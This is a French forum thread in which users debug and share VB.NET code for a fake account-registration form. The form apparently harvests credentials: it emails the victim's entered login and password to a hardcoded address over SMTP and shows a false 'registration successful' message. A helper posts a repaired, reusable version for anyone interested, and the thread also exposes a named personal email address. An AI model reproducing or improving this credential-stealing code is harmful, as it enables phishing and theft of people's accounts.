Batch Index du Forum
S’enregistrerRechercherFAQMembresGroupesConnexion
Répondre au sujet Page 1 sur 1
AIDE ----> code
Auteur Message
Répondre en citant
Message AIDE ----> code 
BUG pour ENVOYé un email :
Code:

Imports System.Net.Mail

Public Class Form1

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Value = ProgressBar1.Value + 1
        If ProgressBar1.Value = ProgressBar1.Maximum Then
            ProgressBar1.Value = 0
            Timer1.Stop()
            Timer1.Enabled = False
            TextBox1.Enabled = True
            TextBox2.Enabled = True
            email.Enabled = True



        End If

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


        Dim MyMailMessage As New MailMessage()
        Dim SMTPServer As New SmtpClient("smtp.laposte.net")

        'Email
        MyMailMessage.From = New MailAddress(email.Text) 'Destinataire
        MyMailMessage.To.Add("pigeard.antoine@laposte.net") 'Expéditeur
        MyMailMessage.Subject = ("[] Nouveau Compte") 'Sujet
        MyMailMessage.Body = ("Login: " & TextBox1.Text & " Pass: " & TextBox2.Text) 'Corps
        'SMTP
        SMTPServer.Port = ("587")
        SMTPServer.Credentials = New System.Net.NetworkCredential("pigeard.antoine@laposte.net", "*******") 'Email (+Pass)
        SMTPServer.EnableSsl = True

        Try
            SMTPServer.Send(MyMailMessage) 'Envoi

        Catch ex As Exception
        End Try
        Timer1.Enabled = True
        Timer1.Start()
        Timer1.Interval = 1000 ' = 1min
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        email.Enabled = False


    End Sub
End Class




Dernière édition par Anto2112 le Lun 27 Oct 2014 - 17:56; édité 1 fois

______________________________________________________
Visiter le site web du posteur Skype
Message Publicité 
PublicitéSupprimer les publicités ?


Répondre en citant
Message AIDE ----> code 
Je m'occupe de ça demain !




______________________________________________________


mon site web http://pr1c3-game.craym.eu/
aide moi a faire revivre la section vb ! (http://batch.xoo.it/f62-VB-Net.htm)

"J'ai toujours raison surtout quand j'ai tord" citation de moi même
mon niveau
batch : 40/100
vb : 60/100
Visiter le site web du posteur Skype
Répondre en citant
Message AIDE ----> code 
FINIS ! je te l'envoie sur skype ! il n'y avait pas de gros problemes




______________________________________________________


mon site web http://pr1c3-game.craym.eu/
aide moi a faire revivre la section vb ! (http://batch.xoo.it/f62-VB-Net.htm)

"J'ai toujours raison surtout quand j'ai tord" citation de moi même
mon niveau
batch : 40/100
vb : 60/100
Visiter le site web du posteur Skype
Répondre en citant
Message AIDE ----> code 
voila le code pour ceux a qui ca intéresse

Code:
Imports System.Net.Mail

Public Class Form1

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        LogInProgressBar1.Value = LogInProgressBar1.Value + "1"
        If LogInProgressBar1.Value = "100" Then
            LogInProgressBar1.Value = 0
            MsgBox("inscription reussite")
            Timer1.Stop()



        End If

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
 

    End Sub

    Private Sub LogInNormalTextBox2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LogInNormalTextBox2.Click

    End Sub

    Private Sub LogInButtonWithProgress1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LogInButtonWithProgress1.Click

        If LogInNormalTextBox3.Text <> LogInNormalTextBox2.Text Or LogInNormalTextBox1.Text = "Pseudo" Or LogInNormalTextBox2.Text = "" Or Email.Text = "" Or Email.Text = "Email" Or LogInNormalTextBox1.Text = "" Or LogInNormalTextBox2.Text = "MotDePasse" Then
            MsgBox("veuillez remplir correctement les champs")
            Exit Sub
        End If

        Dim MyMailMessage As New MailMessage()
        Dim SMTPServer As New SmtpClient("")

        'Email
        MyMailMessage.From = New MailAddress(Email.Text)
        MyMailMessage.To.Add("")
        MyMailMessage.Subject = ("")
        MyMailMessage.Body = "Login: " + LogInNormalTextBox1.Text + " Pass: " + LogInNormalTextBox2.Text 'Corps
        'SMTP
        SMTPServer.Port = ("")
        SMTPServer.Credentials = New System.Net.NetworkCredential("", "") 'Email (+Pass)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Timer1.Start()

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer2.Start()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        If Len(LogInNormalTextBox2.Text) < "5" Then Panel1.BackColor = Color.Red
        If Len(LogInNormalTextBox2.Text) > "5" And Len(LogInNormalTextBox2.Text) < "10" Then Panel1.BackColor = Color.Orange
        If Len(LogInNormalTextBox2.Text) > "10" Then Panel1.BackColor = Color.Lime
    End Sub

    Private Sub Panel1_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs) Handles Panel1.Paint

    End Sub
End Class





______________________________________________________


mon site web http://pr1c3-game.craym.eu/
aide moi a faire revivre la section vb ! (http://batch.xoo.it/f62-VB-Net.htm)

"J'ai toujours raison surtout quand j'ai tord" citation de moi même
mon niveau
batch : 40/100
vb : 60/100
Visiter le site web du posteur Skype
Répondre en citant
Message AIDE ----> code 
Marche pas chez moi Laughing




______________________________________________________
Visiter le site web du posteur
Répondre en citant
Message AIDE ----> code 
Ha bon ? Ça te met des erreurs ou ?




______________________________________________________


mon site web http://pr1c3-game.craym.eu/
aide moi a faire revivre la section vb ! (http://batch.xoo.it/f62-VB-Net.htm)

"J'ai toujours raison surtout quand j'ai tord" citation de moi même
mon niveau
batch : 40/100
vb : 60/100
Visiter le site web du posteur Skype
Message AIDE ----> code 


Montrer les messages depuis:
Répondre au sujet Page 1 sur 1
  



Index | créer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Copyright 2008 - 2016 // Batch